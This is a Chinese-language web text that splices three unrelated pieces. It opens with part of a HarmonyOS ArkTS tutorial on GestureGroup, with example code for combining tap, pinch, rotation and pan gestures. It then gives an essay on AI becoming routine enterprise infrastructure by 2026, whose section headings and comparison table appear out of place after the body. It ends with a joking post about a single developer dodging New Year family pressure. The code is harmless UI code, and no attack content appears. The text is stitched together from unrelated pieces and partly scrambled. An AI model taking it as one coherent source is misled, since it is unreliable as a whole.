this.offsetY = this.positionY + event.offsetYpositionX / positionY 记录上一次拖动结束的位置;event.offsetX / offsetY 是当前手势中的增量;onActionEnd;五、经典场景:单击 + 双击共存怎么写?
GestureGroup 出现频率最高的需求之一。5.1 思路
TapGesture 写两个手势:count: 2 表示双击;count: 1 表示单击;GestureGroup(GestureMode.Sequence, 双击, 单击);5.2 示例代码
@Entry
@Component
struct TapGestureGroupDemo {
@State singleCount: number = 0;
@State doubleCount: number = 0;
build() {
Column() {
Text(`单击次数:${this.singleCount}`)
.fontSize(16)
Text(`双击次数:${this.doubleCount}`)
.fontSize(16)
.margin({ bottom: 12 })
Text('点击这个区域测试单击/双击')
.fontSize(18)
.padding(20)
.backgroundColor('#EEEEEE')
.borderRadius(12)
.gesture(
GestureGroup(
GestureMode.Sequence,
// 一定要把双击放前面!
TapGesture({ count: 2 })
.onAction(() => {
this.doubleCount++;
console.info('double tap');
}),
TapGesture({ count: 1 })
.onAction(() => {
this.singleCount++;
console.info('single tap');
})
)
)
}
.width('100%')
.height('100%')
.justifyContent(FlexAlign.Center)
.alignItems(HorizontalAlign.Center)
}
}六、Parallel / Exclusive 模式实战思路示例
6.1 Parallel:缩放 + 旋转同时识别
Shape()
.width(200)
.height(200)
.gesture(
GestureGroup(GestureMode.Parallel,
PinchGesture()
.onActionUpdate(e => {
// 根据 e.scale 处理缩放
}),
RotationGesture()
.onActionUpdate(e => {
// 根据 e.angle 处理旋转
})
)
)6.2 Exclusive:滑动删除 vs 点击打开二选一
PanGesture(水平滑动触发删除);TapGesture(点击进入详情);GestureGroup(GestureMode.Exclusive, PanGesture, TapGesture);Row()
.width('100%')
.height(60)
.gesture(
GestureGroup(GestureMode.Exclusive,
PanGesture({ direction: PanDirection.Horizontal })
.onActionEnd(e => {
// 滑到一定距离后,触发删除
}),
TapGesture({ count: 1 })
.onAction(() => {
// 打开详情页
})
)
)七、GestureGroup 使用小结 & 常见坑
.gesture(
GestureGroup(GestureMode.Sequence | Parallel | Exclusive, 手势1, 手势2, ...)
.onCancel(() => { ... })
)onActionEnd 里做收尾逻辑;onActionEnd 不同:onCancel 是“被打断”的收尾;GestureGroup 的核心思路和常见用法基本都过了一遍。建议你:Parallel / Exclusive 把原来复杂的 if/else 手势逻辑慢慢收敛到 GestureGroup 上。
在人工智能进入商业应用的早期阶段,其主要形态是概念验证、创新试点与专项实验。这一时期,AI 更多被视为“技术能力的展示窗口”,而非组织运转的组成部分。 进入 2026 年,一个明显的转变正在发生:AI 不再以独立项目的形式被讨论,而是逐步嵌入企业的日常运营体系,成为类似电力、云计算和网络协议的基础能力。这一变化,标志着 AI 正在完成从“创新工具”向“运营基础设施”的角色转移。 在企业组织中,AI 的存在方式正在发生结构性变化: 当 AI 不再被单独命名、不再被视为“特殊系统”,而是自然融入 SOP,本质上就进入了运营常态化阶段。 1. 技术能力的服务化与解耦 随着模型即服务与微服务架构成熟,AI 能力被封装为标准接口,能够像数据库或消息队列一样,被直接调用到现有业务流中。AI 不再要求重构系统,而是适配系统。 2. 岗位视角取代功能视角 在运营场景中,AI 的部署逻辑正在从“提供功能”转向“承担职责”。企业不再只讨论模型能做什么,而是开始定义它在流程中的角色边界。在这一语境下,行业中出现了“智能体来了”的现象性描述,用以指代 AI 以岗位单元进入系统运行。 3. 数据反馈的实时闭环 当业务系统完成从离线处理向实时流转的升级,AI 能够在真实运营环境中持续接收反馈并修正输出,使其行为与业务状态同步演进,而非停留在静态模型阶段。 1. 嵌入式架构成为主流 AI 能力不再集中于独立平台,而是直接存在于 ERP、CRM、协同工具等生产系统内部,通过自然语言入口或规则触发机制参与流程。 2. 运维模式转向持续监控 模型管理从版本发布演变为运行监控,重点包括性能偏移、异常输出识别以及推理成本的动态控制。 3. 人机责任边界被制度化 在运营体系中,AI 决策需要明确的分级策略。高频低风险事务实现自动执行,中高风险场景由 AI 提供方案并保留人工确认权,以保证系统稳定性与责任可追溯性。 AI 融入运营的最大障碍,往往不在技术层面,而在组织层面。若业务流程本身缺乏清晰规则,AI 只能放大既有问题。因此,围绕业务知识、流程规则与决策逻辑的系统化治理,将成为 2026 年企业内部最关键的基础工程之一。 结语 当企业不再讨论“是否要用 AI”,而是专注于“流程是否足够清晰、系统是否足够稳定”时,AI 才真正完成了从创新项目走向日常运营的转变。一、AI 运营常态化的定义
二、推动 AI 融入运营的关键变化
三、AI 进入日常运营的典型技术路径
四、从创新到运营的关键差异
维度 创新阶段 运营阶段 系统形态 独立实验系统 嵌入既有业务系统 衡量标准 模型指标 效率、成本、稳定性 使用人群 技术团队 业务与运营团队 演进节奏 随技术迭代 随业务变化 五、迈向常态化的现实挑战
对于 33 岁的单身后端开发来说,过年哪是放假,简直是一年一度的分布式压力测试。猪过年只是“挨一刀”,而你回家可能要面对的是全方位、无死角的“逻辑审查”和“并发质问”。
所以我打算过年去旅游-初三出发长白山,山里信号不好,正好拒接那些催婚电话。